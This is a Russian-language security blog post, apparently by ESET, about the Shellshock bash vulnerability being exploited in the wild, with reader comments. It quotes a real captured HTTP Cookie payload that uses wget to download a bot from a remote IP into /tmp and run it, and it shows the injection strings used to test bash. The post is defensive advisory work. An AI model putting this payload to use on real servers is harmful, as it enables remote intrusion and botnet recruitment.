Компания
293,22
рейтинг
26 сентября 2014 в 14:59

Разное → Уязвимость ShellShock эксплуатируется in-the-wild

Уязвимость Shellshock (CVE-2014-6271) по масштабности и последствиям для всемирной сети и подключенных к ней устройств можно сравнить только с печально известной Heartbleed, которая была обнаружена весной этого года. Такое название получила уязвимость в командном интерпретаторе Bash, который используется во всевозможных модификациях и дистрибутивах Linux, Unix, Apple OS X (включая новейшую версию OS X Mavericks), а также Android. Уязвимости присвоен наивысший — 10-й уровень опасности, при этом уязвимыми являются все версии интерпретатора, включая новейшую 4.3.



Основную опасность Shellshock представляет по той причине, что он позволяет удаленно выполнить код на уязвимой ОС (исполнять необходимые атакующим команды интерпретатором). При этом с точки зрения эксплуатации уязвимости, это сделать довольно просто. Сам Bash привлекается к использованию в CGI-скриптах (что и позволяет осуществлять удаленную эксплуатацию), которые работают на веб-серверах и не только, например, с использованием компонента cgi_module. Одна из вредоносных программ, которая доставляется атакующими на скомпрометированный сервер обнаруживается AV-продуктами ESET как Linux/DDoS.M.

Проверить присутствие уязвимости в Bash довольно просто, для этого может использоваться следующая команда.

$ env x='() { :;}; echo vulnerable' bash -c "echo completed"


Рис. Демонстрация уязвимого интерпретатора на OS X Snow Leopard.

Из-за присутствия в начале команды интерпретатора последовательности символов "() { :;};", которые вызывают срабатывание уязвимости, интерпретатор «съедает» оставшуюся часть команды и исполняет ее, хотя должен показать сообщение об ошибке синтаксиса.

host@host2 ~ $ env x='() { :;}; echo vulnerable' bash -c «echo completed»
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
completed

Рис. Поведение Bash на Gentoo Linux с примененным патчем. Отсутствует вывод vulnerable.


Рис. Первый патч для Linux Ubuntu также содержал недоработки.

Следующей командой можно проверить уязвима ли система после применения патча. В случае отображения текущей даты, проблема осталась.

env X='() { (a)=>\' sh -c "echo date"; cat echo

После появления информации об этой уязвимости, в открытом доступе был выложен реальный пример эксплуатации уязвимости, который позволял удаленно копировать исполняемый ELF-файл на сервер. Для этого атакующими могут быть использованы различные поля заголовка запроса HTTP-протокола, которые попадают в CGI-скрипт, а затем исполняются уязвимой версией Bash. Пример одного из таких аргументов запроса представлен ниже. Попадая в Bash команды интерпретатора загружают файл с удаленного сервера и устанавливают для него необходимые права доступа.

.Cookie:().{.:;.};.wget.-O./tmp/besh.http://162.253.66.76/nginx;.chmod.777./tmp/besh;./tmp/besh;

Наблюдаемые нами в этой кампании вредоносные программы для Linux представляли из себя боты, которые открывают доступ для злоумышленников на удаленный сервер (бэкдор), а также специализируются в организации DDoS-атак. Три известные модификации этих вредоносных программ обнаруживаются нашими AV-продуктами как Linux/DDoS.M.

Получить обновления безопасности по этой уязвимости для дистрибутивов Linux можно по следующим ссылкам.


Мы рекомендуем воспользоваться обновлениями для соответствующих продуктов и установить их как можно скорее.

image
be secure.
Автор: @esetnod32
ESET NOD32
рейтинг 293,22

Комментарии (17)

  • +3
    Что за год такой. Интересно, когда Apple пошевелится.
    • 0
      А конкретно Apple причем тут? Уязвим bash и десктопным ОС практически пофиг а Linux сервера находятся в намного большей опасности.
      • 0
        Bash по умолчанию присутствует в поставке OSX, и его надо пропатчить до выхода йосемити.
        • +1
          Если у вас смотрящий в интернет сервер на OS X, то имеет смысл пропатчить bash, это дело пары минут.

          На десктопе эта уязвимость погоды не делает.
          • 0
            Это пока unofficial, но спасибо за ссылку, пропатчить надо.
          • +3
            DHCP клиент может быть уязвим
    • 0
      Вспомните ситуацию с sudo и ответите на свой вопрос.
  • 0
    Уже доступны обновления для CentOS, Debian, Ubuntu,
    Сегодня обновил не только сервера, но и свою рабочую станцию тоже.
  • 0
    Анализ ботнета, который подсовывают. Написан на асме, вызывает сисколлы через int 80
    blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html
    • +1
      «spawning the shell „/bin//sh“ upon connected»
      «I think I saw this as shellcode, was used in about a lot in 2011 or 2012»

      Весь анализ можно было свести к тому, что использовался шеллкод, сгенеренный через msfpayload и shell_reverse_tcp.
      • +1
        Ой, и правда ведь! Я как-то и не заметил, думал, что вручную писали.
  • +1
    С анатомической точки зрения (в kill chain) это еще и отличная возможность насовать в «хорошие» веб сайты всяких iframe-редиректов на эксплойты и их связки (да и самих эксплойтов тоже можно насовать). Одно дело выпотрошить себе БД сервера, другое — отгрузить эксплойт (пробить уязвимость) почти каждому его посетителю. Риск посадить трояна на рабочий компьютер (даже внутри периметра) резко увеличился.

    Братцы, убирайте Java-машины из браузеров пользователей (и у себя в первую очередь), а также все «любимые» плагины. Лучше портативная Java и/или отдельный браузер с Java, Flash и т.п. для работы с корпоративными бизнес-приложениями (которые вечно требуют какую-нибудь особо винтажную дырявую версию).

    Сколько ж еще неоткрытых дырок в «проверенном годами» open source сидят…
  • 0
  • –3
    Как бы напрашивается уже вопрос — Кто таки спонсирует «такие» опенсорсы?
  • +1
    Можно подробности про магический () {}? Что он делает, почему допускается в заголовке, почему сразу не писать код без этого пролога?
    • 0
      Подробности можно посмотреть, например, здесь и здесь.
      В моем понимании это выглядит так:
      Bash при работе использует переменные окружения, которые задаются командой env.
      Помимо переменных окружения bash поддерживает список внутренних функций, также задаваемых командой env. Вот пример команды:
      $ export foo='() { echo "Inside function"; }'
      $ bash -c 'foo'
      Inside function

      Насколько я понимаю, эти функции должны выполняться только при непосредственном их вызове. Однако в старых версиях bash не проверяет определение функции на корректность и интерпретирует всю строку целиком, из-за чего возникает возможность дописать после определения функции другие исполняемые команды — как-то так:
      $ export dummy='() { echo "hi"; }; echo "pwned"'
      $ bash
      pwned

      Беда-печаль состоит в том, что «дополнительные» команды исполняются не при вызове внутренней функции, а при загрузке нового экземпляра интерпретатора, что и видно из примера. Почему это так, объясняется в посте, доступном по второй ссылке.
      Резюмируя, ответ на ваш вопрос получается такой: магические скобочки — это определение функции; они допускаются в заголовке, так как являются стандартной конструкцией языка; просто написать вредоносный код без них нельзя, ибо в этом случае bash посчитает вводимый параметр не функцией, а обычной строковой переменной окружения.
      P.S. А вот что для меня загадка — так это назначение двоеточия и точек с запятыми. Но особенно двоеточия.
  • 0
    Исправьте ссылку для Ubuntu на www.ubuntu.com/usn/usn-2364-1/

Только зарегистрированные пользователи могут оставлять комментарии. Войдите, пожалуйста.

Самое читаемое Разное